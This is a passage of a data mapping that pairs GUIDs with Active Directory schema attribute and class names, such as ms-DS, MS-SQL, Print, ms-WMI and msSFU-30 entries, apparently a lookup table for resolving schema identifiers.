"8491e548-6c38-4365-a732-af041569b02c": "ms-DS-Az-Object-Guid", "ca48eba8-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Type", "c0ed8738-7efd-4481-84d9-66d2db8be369": "Primary-Group-Token", "75159a00-1fff-4cf4-8bff-4ef2695cf643": "ShadowExpire", "d1328fbc-8574-4150-881d-0b1088827878": "ms-DS-Key-Principal-BL", "de265a9c-ff2c-47b9-91dc-6e6fe2c43062": "documentTitle", "b5f7e349-7a5b-407c-a334-a31c3f538b98": "ms-DS-Az-Generic-Data", "d0aedb2e-ccee-11d2-9993-0000f87a57d4": "MS-SQL-InformationDirectory", "281416d7-1968-11d0-a28f-00aa003049e2": "Print-Attributes", "8dfeb70d-c5db-46b6-b15e-a4389e6cee9b": "ShadowFlag", "7f561288-5301-11d1-a9c5-0000f80367c1": "ACS-Policy", "8f4beb31-4e19-46f5-932e-5fa03c339b1d": "ms-WMI-UintSetParam", "c4a46807-6adc-4bbb-97de-6bed181a1bfe": "ms-DS-Device-Trust-Type", "94b3a8a9-d613-4cec-9aad-5fbcc1046b43": "documentVersion", "d31a8757-2447-4545-8081-3bb610cacbf2": "ms-DS-Behavior-Version", "d5a0dbdc-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Database", "281416cd-1968-11d0-a28f-00aa003049e2": "Print-Bin-Names", "03dab236-672e-4f61-ab64-f77d2dc2ffab": "MemberUid", "1dcc0722-aab0-4fef-956f-276fe19de107": "ms-DS-Shadow-Principal-Sid", "7bfdcb7a-4807-11d1-a9c3-0000f80367c1": "Domain-Certificate-Authorities", "f0d8972e-dd5b-40e5-a51d-044c7c17ece7": "ms-DS-Byte-Array", "db77be4a-ccee-11d2-9993-0000f87a57d4": "MS-SQL-AllowAnonymousSubscription", "281416d2-1968-11d0-a28f-00aa003049e2": "Print-Collate", "0f6a17dc-53e5-4be8-9442-8f3ce2f9012a": "MemberNisNetgroup", "2e899b04-2834-11d3-91d4-0000f87a57d4": "ACS-Resource-Limits", "b82ac26b-c6db-4098-92c6-49c18a3336e1": "ms-WMI-UnknownRangeParam", "19195a55-6da0-11d0-afd3-00c04fd930c9": "Domain-Component", "69cab008-cdd4-4bc9-bab8-0ff37efe1b20": "ms-DS-Cached-Membership", "e0c6baae-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Alias", "281416d3-1968-11d0-a28f-00aa003049e2": "Print-Color", "a8032e74-30ef-4ff5-affc-0fc217783fec": "NisNetgroupTriple", "11f95545-d712-4c50-b847-d2781537c633": "ms-DS-Shadow-Principal-Container", "b000ea7b-a086-11d0-afdd-00c04fd930c9": "Domain-Cross-Ref", "3566bf1f-beee-4dcb-8abe-ef89fcfec6c1": "ms-DS-Cached-Membership-Time-Stamp", "e9098084-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Size", "281416cc-1968-11d0-a28f-00aa003049e2": "Print-Duplex-Supported", "ff2daebf-f463-495a-8405-3e483641eaa2": "IpServicePort", "7f561289-5301-11d1-a9c5-0000f80367c1": "ACS-Subnet", "05630000-3927-4ede-bf27-ca91f275c26f": "ms-WMI-WMIGPO", "963d2734-48be-11d1-a9c3-0000f80367c1": "Domain-ID", "23773dc2-b63a-11d2-90e1-00c04fd91ab1": "MS-DS-Consistency-Guid", "ede14754-ccee-11d2-9993-0000f87a57d4": "MS-SQL-CreationDate", "281416ca-1968-11d0-a28f-00aa003049e2": "Print-End-Time", "cd96ec0b-1ed6-43b4-b26b-f170b645883f": "IpServiceProtocol", "770f4cb3-1643-469c-b766-edd77aa75e14": "ms-DS-Shadow-Principal", "7f561278-5301-11d1-a9c5-0000f80367c1": "Domain-Identifier", "178b7bc2-b63a-11d2-90e1-00c04fd91ab1": "MS-DS-Consistency-Child-Count", "f2b6abca-ccee-11d2-9993-0000f87a57d4": "MS-SQL-LastBackupDate", "281416cb-1968-11d0-a28f-00aa003049e2": "Print-Form-Name", "ebf5c6eb-0e2d-4415-9670-1081993b4211": "IpProtocolNumber", "3e74f60f-3e73-11d1-a9c0-0000f80367c1": "Address-Book-Container", "9a0dc344-c100-11d1-bbc5-0080c76670c0": "MSMQ-Configuration", "c294f84b-2fad-4b71-be4c-9fc5701f60ba": "ms-DS-Key-Id", "bf96795d-0de6-11d0-a285-00aa003049e2": "Domain-Policy-Object", "c5e60132-1480-11d3-91c1-0000f87a57d4": "MS-DS-Creator-SID", "f6d6dd88-ccee-11d2-9993-0000f87a57d4": "MS-SQL-LastDiagnosticDate", "ba305f6d-47e3-11d0-a1a6-00c04fd930c9": "Print-Keep-Printed-Jobs", "966825f5-01d9-4a5c-a011-d15ae84efa55": "OncRpcNumber", "a12e0e9f-dedb-4f31-8f21-1311b958182f": "ms-DS-Key-Material", "80a67e2a-9f22-11d0-afdd-00c04fd930c9": "Domain-Policy-Reference", "234fcbd8-fb52-4908-a328-fd9f6e58e403": "ms-DS-Date-Time", "fbcda2ea-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Applications", "281416d6-1968-11d0-a28f-00aa003049e2": "Print-Language", "de8bb721-85dc-4fde-b687-9657688e667e": "IpHostNumber", "5fd4250a-1262-11d0-a060-00aa006c33ed": "Address-Template", "876d6817-35cc-436c-acea-5ef7174dd9be": "MSMQ-Custom-Recipient", "de71b44c-29ba-4597-9eca-c3348ace1917": "ms-DS-Key-Usage", "bf96795e-0de6-11d0-a285-00aa003049e2": "Domain-Replica", "6818f726-674b-441b-8a3a-f40596374cea": "ms-DS-Default-Quota", "01e9a98a-ccef-11d2-9993-0000f87a57d4": "MS-SQL-Keywords", "ba305f7a-47e3-11d0-a1a6-00c04fd930c9": "Print-MAC-Address", "4e3854f4-3087-42a4-a813-bb0c528958d3": "IpNetworkNumber", "bd61253b-9401-4139-a693-356fc400f3ea": "ms-DS-Key-Principal", "80a67e29-9f22-11d0-afdd-00c04fd930c9": "Domain-Wide-Policy", "a9b38cb6-189a-4def-8a70-0fcfa158148e": "ms-DS-Deleted-Object-Lifetime", "c1676858-d34b-11d2-999a-0000f87a57d4": "MS-SQL-Publisher", "281416d1-1968-11d0-a28f-00aa003049e2": "Print-Max-Copies", "6ff64fcd-462e-4f62-b44a-9a5347659eb9": "IpNetmaskNumber", "3fdfee4f-47f4-11d1-a9c3-0000f80367c1": "Application-Entity", "9a0dc345-c100-11d1-bbc5-0080c76670c0": "MSMQ-Enterprise-Settings", "642c1129-3899-4721-8e21-4839e3988ce5": "ms-DS-Device-DN", "1a1aa5b5-262e-4df6-af04-2cf6b0d80048": "drink", "2143acca-eead-4d29-b591-85fa49ce9173": "ms-DS-DnsRootAlias", "c3bb7054-d34b-11d2-999a-0000f87a57d4": "MS-SQL-AllowKnownPullSubscription", "281416cf-1968-11d0-a28f-00aa003049e2": "Print-Max-Resolution-Supported", "e6a522dd-9770-43e1-89de-1de5044328f7": "MacAddress", "dffbd720-0872-402e-9940-fcd78db049ba": "ms-DS-Computer-SID", "281416c5-1968-11d0-a28f-00aa003049e2": "Driver-Name", "5706aeaf-b940-4fb2-bcfc-5268683ad9fe": "ms-DS-Enabled-Feature", "c4186b6e-d34b-11d2-999a-0000f87a57d4": "MS-SQL-AllowImmediateUpdatingSubscription", "ba305f6f-47e3-11d0-a1a6-00c04fd930c9": "Print-Max-X-Extent", "d72a0750-8c7c-416e-8714-e65f11e908be": "BootParameter", "5fd4250b-1262-11d0-a060-00aa006c33ed": "Application-Process", "46b27aac-aafa-4ffb-b773-e5bf621ee87b": "MSMQ-Group", "b6e5e988-e5e4-4c86-a2ae-0dacb970a0e1": "ms-DS-Custom-Key-Information", "ba305f6e-47e3-11d0-a1a6-00c04fd930c9": "Driver-Version", "ce5b01bc-17c6-44b8-9dc1-a9668b00901b": "ms-DS-Enabled-Feature-BL", "c458ca80-d34b-11d2-999a-0000f87a57d4": "MS-SQL-AllowQueuedUpdatingSubscription", "ba305f70-47e3-11d0-a1a6-00c04fd930c9": "Print-Max-Y-Extent", "e3f3cb4e-0f20-42eb-9703-d2ff26e52667": "BootFile", "649ac98d-9b9a-4d41-af6b-f616f2a62e4a": "ms-DS-Key-Approximate-Last-Logon-Time-Stamp", "d167aa4b-8b08-11d2-9939-0000f87a57d4": "DS-Core-Propagation-Data", "e1e9bad7-c6dd-4101-a843-794cec85b038": "ms-DS-Entry-Time-To-Die", "c49b8be8-d34b-11d2-999a-0000f87a57d4": "MS-SQL-AllowSnapshotFilesFTPDownloading", "3bcbfcf5-4d3d-11d0-a1a6-00c04fd930c9": "Print-Media-Ready", "969d3c79-0e9a-4d95-b0ac-bdde7ff8f3a1": "NisMapName", "f780acc1-56f0-11d1-a9c6-0000f80367c1": "Application-Settings", "50776997-3c3d-11d2-90cc-00c04fd91ab1": "MSMQ-Migrated-User", "f0f8ff86-1191-11d0-a060-00aa006c33ed": "DS-Heuristics", "9d054a5a-d187-46c1-9d85-42dfc44a56dd": "ms-DS-ExecuteScriptPassword", "c4e311fc-d34b-11d2-999a-0000f87a57d4": "MS-SQL-ThirdParty", "244b296f-5abd-11d0-afd2-00c04fd930c9": "Print-Media-Supported", "4a95216e-fcc0-402e-b57f-5971626148a9": "NisMapEntry", "ee1f5543-7c2e-476a-8b3f-e11f4af6c498": "ms-DS-Key-Credential", "ee8d0ae0-6f91-11d2-9905-0000f87a57d4": "DS-UI-Admin-Maximum", "b92fd528-38ac-40d4-818d-0433380837c1": "ms-DS-External-Key", "4cc4601e-7201-4141-abc8-3e529ae88863": "ms-TAPI-Conference-Blob", "ba305f74-47e3-11d0-a1a6-00c04fd930c9": "Print-Memory", "27eebfa2-fbeb-4f8e-aad6-c50247994291": "msSFU-30-Search-Container", "19195a5c-6da0-11d0-afd3-00c04fd930c9": "Application-Site-Settings", "9a0dc343-c100-11d1-bbc5-0080c76670c0": "MSMQ-Queue", "938ad788-225f-4eee-93b9-ad24a159e1db": "ms-DS-Key-Credential-Link-BL", "f6ea0a94-6f91-11d2-9905-0000f87a57d4": "DS-UI-Admin-Notification", "604877cd-9cdb-47c7-b03d-3daadb044910": "ms-DS-External-Store", "efd7d7f7-178e-4767-87fa-f8a16b840544": "ms-TAPI-Ip-Address", "ba305f71-47e3-11d0-a1a6-00c04fd930c9": "Print-Min-X-Extent", "32ecd698-ce9e-4894-a134-7ad76b082e83": "msSFU-30-Key-Attributes", "bf967aba-0de6-11d0-a285-00aa003049e2": "User", "fcca766a-6f91-11d2-9905-0000f87a57d4": "DS-UI-Shell-Maximum", "9b88bda8-dd82-4998-a91d-5f2d2baf1927": "ms-DS-Optional-Feature-GUID", "89c1ebcf-7a5f-41fd-99ca-c900b32299ab": "ms-TAPI-Protocol-Id", "ba305f72-47e3-11d0-a1a6-00c04fd930c9": "Print-Min-Y-Extent", "a2e11a42-e781-4ca1-a7fa-ec307f62b6a1": "msSFU-30-Field-Separator", "ddc790ac-af4d-442a-8f0f-a1d4caa7dd92": "Application-Version", "9a0dc347-c100-11d1-bbc5-0080c76670c0": "MSMQ-Settings", "167757bc-47f3-11d1-a9c3-0000f80367c1": "DSA-Signature", "fb00dcdf-ac37-483a-9c12-ac53a6603033": "ms-DS-Filter-Containers", "70a4e7ea-b3b9-4643-8918-e6dd2471bfd4": "ms-TAPI-Unique-Identifier", "ba305f79-47e3-11d0-a1a6-00c04fd930c9": "Print-Network-Address", "95b2aef0-27e4-4cb9-880a-a2d9a9ea23b8": "msSFU-30-Intra-Field-Separator", "5df2b673-6d41-4774-b3e8-d52e8ee9ff99": "ms-DS-Device", "52458021-ca6a-11d0-afff-0000f80367c1": "Dynamic-LDAP-Server", "11e9a5bc-4517-4049-af9c-51554fb0fc09": "ms-DS-Has-Instantiated-NCs", "6366c0c1-6972-4e66-b3a5-1d52ad0c0547": "ms-WMI-Author", "ba305f6a-47e3-11d0-a1a6-00c04fd930c9": "Print-Notify", "ef9a2df0-2e57-48c8-8950-0cc674004733": "msSFU-30-Search-Attributes", "9a0dc346-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-Link", "5b47d60f-6090-40b2-9f37-2a4de88f3063": "ms-DS-Key-Credential-Link", "bf967961-0de6-11d0-a285-00aa003049e2": "E-mail-Addresses", "6f17e347-a842-4498-b8b3-15e007da4fed": "ms-DS-Has-Domain-NCs", "f9cdf7a0-ec44-4937-a79b-cd91522b3aa8": "ms-WMI-ChangeDate", "3bcbfcf4-4d3d-11d0-a1a6-00c04fd930c9": "Print-Number-Up", "e167b0b6-4045-4433-ac35-53f972d45cba": "msSFU-30-Result-Attributes", "bf967a81-0de6-11d0-a285-00aa003049e2": "Builtin-Domain", "8e4eb2ec-4712-11d0-a1a0-00c04fd930c9": "EFSPolicy", "ae2de0e2-59d7-4d47-8d47-ed4dfe4357ad": "ms-DS-Has-Master-NCs", "90c1925f-4a24-4b07-b202-be32eb3c8b74": "ms-WMI-Class", "281416d0-1968-11d0-a28f-00aa003049e2": "Print-Orientations-Supported", "b7b16e01-024f-4e23-ad0d-71f1a406b684": "msSFU-30-Map-Filter", "19195a60-6da0-11d0-afd3-00c04fd930c9": "NTDS-Connection", "f2699093-f25a-4220-9deb-03df4cc4a9c5": "Dns-Zone-Scope-Container", "bf967962-0de6-11d0-a285-00aa003049e2": "Employee-ID", "80641043-15a2-40e1-92a2-8ca866f70776": "ms-DS-Host-Service-Account", "2b9c0ebc-c272-45cb-99d2-4d0e691632e0": "ms-WMI-ClassDefinition", "ba305f69-47e3-11d0-a1a6-00c04fd930c9": "Print-Owner", "4cc908a2-9e18-410e-8459-f17cc422020a": "msSFU-30-Master-Server-Name", "7d6c0e9d-7e20-11d0-afd6-00c04fd930c9": "Category-Registration", "a8df73ef-c5ea-11d1-bbcb-0080c76670c0": "Employee-Number", "79abe4eb-88f3-48e7-89d6-f4bc7e98c331": "ms-DS-Host-Service-Account-BL", "748b0a2e-3351-4b3f-b171-2f17414ea779": "ms-WMI-CreationDate", "19405b97-3cfa-11d1-a9c0-0000f80367c1": "Print-Pages-Per-Minute", "02625f05-d1ee-4f9f-b366-55266becb95c": "msSFU-30-Order-Number", "f0f8ffab-1191-11d0-a060-00aa006c33ed": "NTDS-DSA", "696f8a61-2d3f-40ce-a4b3-e275dfcc49c5": "Dns-Zone-Scope", "a8df73f0-c5ea-11d1-bbcb-0080c76670c0": "Employee-Type", "7bc64cea-c04e-4318-b102-3e0729371a65": "ms-DS-Integer", "50c8673a-8f56-4614-9308-9e1340fb9af3": "ms-WMI-Genus", "ba305f77-47e3-11d0-a1a6-00c04fd930c9": "Print-Rate", "16c5d1d3-35c2-4061-a870-a5cefda804f0": "msSFU-30-Name", "3fdfee50-47f4-11d1-a9c3-0000f80367c1": "Certification-Authority", "a8df73f2-c5ea-11d1-bbcb-0080c76670c0": "Enabled", "bc60096a-1b47-4b30-8877-602c93f56532": "ms-DS-IntId", "9339a803-94b8-47f7-9123-a853b9ff7e45": "ms-WMI-ID", "ba305f78-47e3-11d0-a1a6-00c04fd930c9": "Print-Rate-Unit", "20ebf171-c69a-4c31-b29d-dcb837d8912d": "msSFU-30-Aliases", "85d16ec1-0791-4bc8-8ab3-70980602ff8c": "NTDS-DSA-RO", "e0fa1e8c-9b45-11d0-afdd-00c04fd930c9": "Dns-Node", "bf967963-0de6-11d0-a285-00aa003049e2": "Enabled-Connection", "6fabdcda-8c53-204f-b1a4-9df0c67c1eb4": "ms-DS-Is-Possible-Values-Present", "1b0c07f8-76dd-4060-a1e1-70084619dc90": "ms-WMI-intDefault", "281416c6-1968-11d0-a28f-00aa003049e2": "Print-Separator-File", "37830235-e5e9-46f2-922b-d8d44f03e7ae": "msSFU-30-Key-Values", "bf967a82-0de6-11d0-a285-00aa003049e2": "Class-Registration", "3417ab48-df24-4fb1-80b0-0fcb367e25e3": "ms-DS-Expire-Passwords-On-Smart-Card-Only-Accounts", "2a39c5b3-8960-11d1-aebc-0000f80367c1": "Enrollment-Providers", "1df5cf33-0fe5-499e-90e1-e94b42718a46": "ms-DS-isGC", "18e006b9-6445-48e3-9dcf-b5ecfbc4df8e": "ms-WMI-intFlags1", "ba305f68-47e3-11d0-a1a6-00c04fd930c9": "Print-Share-Name", "9ee3b2e3-c7f3-45f8-8c9f-1382be4984d2": "msSFU-30-Nis-Domain", "19195a5f-6da0-11d0-afd3-00c04fd930c9": "NTDS-Service", "65650576-4699-4fc9-8d18-26e0cd0137a6": "ms-DS-Token-Group-Names", "d213decc-d81a-4384-aac2-dcfcfd631cf8": "Entry-TTL", "a8e8aa23-3e67-4af1-9d7a-2f1a1d633ac9": "ms-DS-isRODC", "075a42c9-c55a-45b1-ac93-eb086b31f610": "ms-WMI-intFlags2", "ba305f6c-47e3-11d0-a1a6-00c04fd930c9": "Print-Spooling", "93095ed3-6f30-4bdd-b734-65d569f5f7c9": "msSFU-30-Domains", "fa06d1f4-7922-4aad-b79c-b2201f54417c": "ms-DS-Token-Group-Names-Global-And-Universal", "9a7ad947-ca53-11d1-bbd0-0080c76670c0": "Extended-Attribute-Info", "8ab15858-683e-466d-877f-d640e1f9a611": "ms-DS-Last-Known-RDN", "f29fa736-de09-4be4-b23a-e734c124bacc": "ms-WMI-intFlags3", "ba305f73-47e3-11d0-a1a6-00c04fd930c9": "Print-Stapling-Supported", "084a944b-e150-4bfe-9345-40e1aedaebba": "msSFU-30-Yp-Servers", "bf967a84-0de6-11d0-a285-00aa003049e2": "Class-Store", "19195a5d-6da0-11d0-afd3-00c04fd930c9": "NTDS-Site-Settings", "523fc6c8-9af4-4a02-9cd7-3dea129eeb27": "ms-DS-Token-Group-Names-No-GC-Acceptable", "bf967966-0de6-11d0-a285-00aa003049e2": "Extended-Chars-Allowed", "c523e9c0-33b5-4ac8-8923-b57b927f42f6": "ms-DS-KeyVersionNumber", "bd74a7ac-c493-4c9c-bdfa-5c7b119ca6b2": "ms-WMI-intFlags4", "281416c9-1968-11d0-a28f-00aa003049e2": "Print-Start-Time", "04ee6aa6-f83b-469a-bf5a-3c00d3634669": "msSFU-30-Max-Gid-Number", "9a7ad948-ca53-11d1-bbd0-0080c76670c0": "Extended-Class-Info", "ad7940f8-e43a-4a42-83bc-d688e59ea605": "ms-DS-Logon-Time-Sync-Interval", "fb920c2c-f294-4426-8ac1-d24b42aa2bce": "ms-WMI-intMax", "ba305f6b-47e3-11d0-a1a6-00c04fd930c9": "Print-Status", "ec998437-d944-4a28-8500-217588adfc75": "msSFU-30-Max-Uid-Number", "bf967a85-0de6-11d0-a285-00aa003049e2": "Com-Connection-Point", "2a132586-9373-11d1-aebc-0000f80367c1": "NTFRS-Member", "bf967ab0-0de6-11d0-a285-00aa003049e2": "Security-Principal", "bf967972-0de6-11d0-a285-00aa003049e2": "Extension-Name", "60234769-4819-4615-a1b2-49d2f119acb5": "ms-DS-Mastered-By", "68c2e3ba-9837-4c70-98e0-f0c33695d023": "ms-WMI-intMin", "244b296e-5abd-11d0-afd2-00c04fd930c9": "Printer-Name", "585c9d5e-f599-4f07-9cf9-4373af4b89d3": "msSFU-30-NSMAP-Field-Position", "7ece040f-9327-4cdc-aad3-037adfe62639": "ms-DS-User-Allowed-NTLM-Network-Authentication", "d24e2846-1dd9-4bcf-99d7-a6227cc86da7": "Extra-Columns", "fdd337f5-4999-4fce-b252-8ff9c9b43875": "ms-DS-Maximum-Password-Age", "6af565f6-a749-4b72-9634-3c5d47e6b4e0": "ms-WMI-intValidValues", "bf967a01-0de6-11d0-a285-00aa003049e2": "Prior-Set-Time", "c875d82d-2848-4cec-bb50-3c5486d09d57": "msSFU-30-Posix-Member", "bf967a86-0de6-11d0-a285-00aa003049e2": "Computer", "5245803a-ca6a-11d0-afff-0000f80367c1": "NTFRS-Replica-Set", "278947b9-5222-435e-96b7-1503858c2b48": "ms-DS-Service-Allowed-NTLM-Network-Authentication", "bf967974-0de6-11d0-a285-00aa003049e2": "Facsimile-Telephone-Number", "2a74f878-4d9c-49f9-97b3-6767d1cbd9a3": "ms-DS-Minimum-Password-Age", "f4d8085a-8c5b-4785-959b-dc585566e445": "ms-WMI-int8Default", "bf967a02-0de6-11d0-a285-00aa003049e2": "Prior-Value", "7bd76b92-3244-438a-ada6-24f5ea34381e": "msSFU-30-Posix-Member-Of", "aacd2170-482a-44c6-b66e-42c2f66a285c": "ms-DS-Strong-NTLM-Policy", "d9e18315-8939-11d1-aebc-0000f80367c1": "File-Ext-Priority", "b21b3439-4c3a-441c-bb5f-08f20e9b315e": "ms-DS-Minimum-Password-Length", "e3d8b547-003d-4946-a32b-dc7cedc96b74": "ms-WMI-int8Max", "281416c7-1968-11d0-a28f-00aa003049e2": "Priority", "97d2bf65-0466-4852-a25a-ec20f57ee36c": "msSFU-30-Netgroup-Host-At-Domain", "bf967a87-0de6-11d0-a285-00aa003049e2": "Configuration", "f780acc2-56f0-11d1-a9c6-0000f80367c1": "NTFRS-Settings", "bf967976-0de6-11d0-a285-00aa003049e2": "Flags", "f9c9a57c-3941-438d-bebf-0edaf2aca187": "ms-DS-OIDToGroup-Link", "ed1489d1-54cc-4066-b368-a00daa2664f1": "ms-WMI-int8Min", "bf967a03-0de6-11d0-a285-00aa003049e2": "Private-Key", "a9e84eed-e630-4b67-b4b3-cad2a82d345e": "msSFU-30-Netgroup-User-At-Domain", "ab6a1156-4dc7-40f5-9180-8e4ce42fe5cd": "ms-DS-AuthN-Policy", "b7b13117-b82e-11d0-afee-0000f80367c1": "Flat-Name", "1a3d0d20-5844-4199-ad25-0f5039a76ada": "ms-DS-OIDToGroup-Link-BL", "103519a9-c002-441b-981a-b0b3e012c803": "ms-WMI-int8ValidValues", "19405b9a-3cfa-11d1-a9c0-0000f80367c1": "Privilege-Attributes", "0dea42f5-278d-4157-b4a7-49b59664915b": "msSFU-30-Is-Valid-Container", "5cb41ecf-0e4c-11d0-a286-00aa003049e2": "Connection-Point", "2a132588-9373-11d1-aebc-0000f80367c1": "NTFRS-Subscriber", "b002f407-1340-41eb-bca0-bd7d938e25a9": "ms-DS-Source-Anchor", "bf967977-0de6-11d0-a285-00aa003049e2": "Force-Logoff", "fed81bb7-768c-4c2f-9641-2245de34794d": "ms-DS-Password-History-Length", "6736809f-2064-443e-a145-81262b1f1366": "ms-WMI-Mof", "19405b98-3cfa-11d1-a9c0-0000f80367c1": "Privilege-Display-Name", "4503d2a3-3d70-41b8-b077-dff123c15865": "msSFU-30-Crypt-Method", "5cb41ed0-0e4c-11d0-a286-00aa003049e2": "Contact", "34f6bdf5-2e79-4c3b-8e14-3d93b75aab89": "ms-DS-Object-SOA", "3e97891e-8c01-11d0-afda-00c04fd930c9": "Foreign-Identifier", "db68054b-c9c3-4bf0-b15b-0fb52552a610": "ms-DS-Password-Complexity-Enabled", "c6c8ace5-7e81-42af-ad72-77412c5941c4": "ms-WMI-Name", "19405b9b-3cfa-11d1-a9c0-0000f80367c1": "Privilege-Holder", "e65c30db-316c-4060-a3a0-387b083f09cd": "ms-TS-Profile-Path", "bf967aa7-0de6-11d0-a285-00aa003049e2": "Person", "2a132587-9373-11d1-aebc-0000f80367c1": "NTFRS-Subscriptions", "7bfdcb88-4807-11d1-a9c3-0000f80367c1": "Friendly-Names", "75ccdd8f-af6c-4487-bb4b-69e4d38a959c": "ms-DS-Password-Reversible-Encryption-Enabled", "eaba628f-eb8e-4fe9-83fc-693be695559b": "ms-WMI-NormalizedClass", "19405b99-3cfa-11d1-a9c0-0000f80367c1": "Privilege-Value", "5d3510f0-c4e7-4122-b91f-a20add90e246": "ms-TS-Home-Directory", "bf967ab7-0de6-11d0-a285-00aa003049e2": "Top", "9a7ad949-ca53-11d1-bbd0-0080c76670c0": "From-Entry", "94f2800c-531f-4aeb-975d-48ac39fd8ca4": "ms-DS-Local-Effective-Deletion-Time", "27e81485-b1b0-4a8b-bedd-ce19a837e26e": "ms-WMI-Parm1", "d9e18317-8939-11d1-aebc-0000f80367c1": "Product-Code", "5f0a24d9-dffa-4cd9-acbf-a0680c03731e": "ms-TS-Home-Drive", "bf967a8b-0de6-11d0-a285-00aa003049e2": "Container", "bf967aa3-0de6-11d0-a285-00aa003049e2": "Organization", "bf967979-0de6-11d0-a285-00aa003049e2": "From-Server", "4ad6016b-b0d2-4c9b-93b6-5964b17b968c": "ms-DS-Local-Effective-Recycle-Time", "0003508e-9c42-4a76-a8f4-38bf64bab0de": "ms-WMI-Parm2", "bf967a05-0de6-11d0-a285-00aa003049e2": "Profile-Path", "3a0cd464-bc54-40e7-93ae-a646a6ecc4b4": "ms-TS-Allow-Logon", "bf967aa4-0de6-11d0-a285-00aa003049e2": "Organizational-Person", "bf967a90-0de6-11d0-a285-00aa003049e2": "Sam-Domain", "2a132578-9373-11d1-aebc-0000f80367c1": "Frs-Computer-Reference", "b05bda89-76af-468a-b892-1be55558ecc8": "ms-DS-Lockout-Observation-Window", "45958fb6-52bd-48ce-9f9f-c2712d9f2bfc": "ms-WMI-Parm3", "e1aea402-cd5b-11d0-afff-0000f80367c1": "Proxied-Object-Name", "15177226-8642-468b-8c48-03ddfd004982": "ms-TS-Remote-Control", "8297931e-86d3-11d0-afda-00c04fd930c9": "Control-Access-Right", "2a132579-9373-11d1-aebc-0000f80367c1": "Frs-Computer-Reference-BL", "421f889a-472e-4fe4-8eb9-e1d0bc6071b2": "ms-DS-Lockout-Duration", "3800d5a3-f1ce-4b82-a59a-1528ea795f59": "ms-WMI-Parm4", "bf967a06-0de6-11d0-a285-00aa003049e2": "Proxy-Addresses", "326f7089-53d8-4784-b814-46d8535110d2": "ms-TS-Max-Disconnection-Time", "a8df74bf-c5ea-11d1-bbcb-0080c76670c0": "Organizational-Role", "2a13257a-9373-11d1-aebc-0000f80367c1": "FRS-Control-Data-Creation", "b8c8c35e-4a19-4a95-99d0-69fe4446286f": "ms-DS-Lockout-Threshold", "ab920883-e7f8-4d72-b4a0-c0449897509d": "ms-WMI-PropertyName", "5fd424d6-1262-11d0-a060-00aa006c33ed": "Proxy-Generation-Enabled", "1d960ee2-6464-4e95-a781-e3b5cd5f9588": "ms-TS-Max-Connection-Time", "bf967a8c-0de6-11d0-a285-00aa003049e2": "Country", "2a13257b-9373-11d1-aebc-0000f80367c1": "FRS-Control-Inbound-Backlog", "64c80f48-cdd2-4881-a86d-4e97b6f561fc": "ms-DS-PSO-Applies-To", "65fff93e-35e3-45a3-85ae-876c6718297f": "ms-WMI-Query", "bf967a07-0de6-11d0-a285-00aa003049e2": "Proxy-Lifetime", "ff739e9c-6bb7-460e-b221-e250f3de0f95": "ms-TS-Max-Idle-Time", "bf967aa5-0de6-11d0-a285-00aa003049e2": "Organizational-Unit", "2a13257c-9373-11d1-aebc-0000f80367c1": "FRS-Control-Outbound-Backlog", "5e6cf031-bda8-43c8-aca4-8fee4127005b": "ms-DS-PSO-Applied", "7d3cfa98-c17b-4254-8bd7-4de9b932a345": "ms-WMI-QueryLanguage", "80a67e28-9f22-11d0-afdd-00c04fd930c9": "Public-Key-Policy", "366ed7ca-3e18-4c7f-abae-351a01e4b4f7": "ms-TS-Reconnection-Action", "167758ca-47f3-11d1-a9c3-0000f80367c1": "CRL-Distribution-Point", "1be8f171-a9ff-11d0-afe2-00c04fd930c9": "FRS-Directory-Filter", "eadd3dfe-ae0e-4cc2-b9b9-5fe5b6ed2dd2": "ms-DS-Required-Domain-Behavior-Version", "87b78d51-405f-4b7f-80ed-2bd28786f48d": "ms-WMI-ScopeGuid", "b4b54e50-943a-11d1-aebd-0000f80367c1": "Purported-Search", "1cf41bba-5604-463e-94d6-1a1287b72ca3": "ms-TS-Broken-Connection-Action", "bf967aa6-0de6-11d0-a285-00aa003049e2": "Package-Registration", "1be8f177-a9ff-11d0-afe2-00c04fd930c9": "FRS-DS-Poll", "4beca2e8-a653-41b2-8fee-721575474bec": "ms-DS-Required-Forest-Behavior-Version", "34f7ed6c-615d-418d-aa00-549a7d7be03e": "ms-WMI-SourceOrganization", "bf967a09-0de6-11d0-a285-00aa003049e2": "Pwd-History-Length", "23572aaf-29dd-44ea-b0fa-7e8438b9a4a3": "ms-TS-Connect-Client-Drives", "bf967a8d-0de6-11d0-a285-00aa003049e2": "Cross-Ref", "52458020-ca6a-11d0-afff-0000f80367c1": "FRS-Extensions", "b77ea093-88d0-4780-9a98-911f8e8b1dca": "ms-DS-Resultant-PSO", "152e42b6-37c5-4f55-ab48-1606384a9aea": "ms-WMI-stringDefault", "bf967a0a-0de6-11d0-a285-00aa003049e2": "Pwd-Last-Set", "8ce6a937-871b-4c92-b285-d99d4036681c": "ms-TS-Connect-Printer-Drives", "1be8f178-a9ff-11d0-afe2-00c04fd930c9": "FRS-Fault-Condition", "456374ac-1f0a-4617-93cf-bc55a7c9d341": "ms-DS-Password-Settings-Precedence", "37609d31-a2bf-4b58-8f53-2b64e57a076d": "ms-WMI-stringValidValues", "bf967a0b-0de6-11d0-a285-00aa003049e2": "Pwd-Properties", "c0ffe2bd-cacf-4dc7-88d5-61e9e95766f6": "ms-TS-Default-To-Main-Printer", "ef9e60e0-56f7-11d1-a9c6-0000f80367c1": "Cross-Ref-Container", "b7b13122-b82e-11d0-afee-0000f80367c1": "Physical-Location", "1be8f170-a9ff-11d0-afe2-00c04fd930c9": "FRS-File-Filter", "d1e169a4-ebe9-49bf-8fcb-8aef3874592d": "ms-DS-Max-Values", "95b6d8d6-c9e8-4661-a2bc-6a5cabc04c62": "ms-WMI-TargetClass", "80a67e4e-9f22-11d0-afdd-00c04fd930c9": "Quality-Of-Service", "a744f666-3d3c-4cc8-834b-9d4f6f687b8b": "ms-TS-Work-Directory", "2a13257d-9373-11d1-aebc-0000f80367c1": "FRS-Flags", "cbf7e6cd-85a4-4314-8939-8bfe80597835": "ms-DS-Members-For-Az-Role", "1c4ab61f-3420-44e5-849d-8b5dbf60feb7": "ms-WMI-TargetNameSpace", "cbf70a26-7e78-11d2-9921-0000f87a57d4": "Query-Filter", 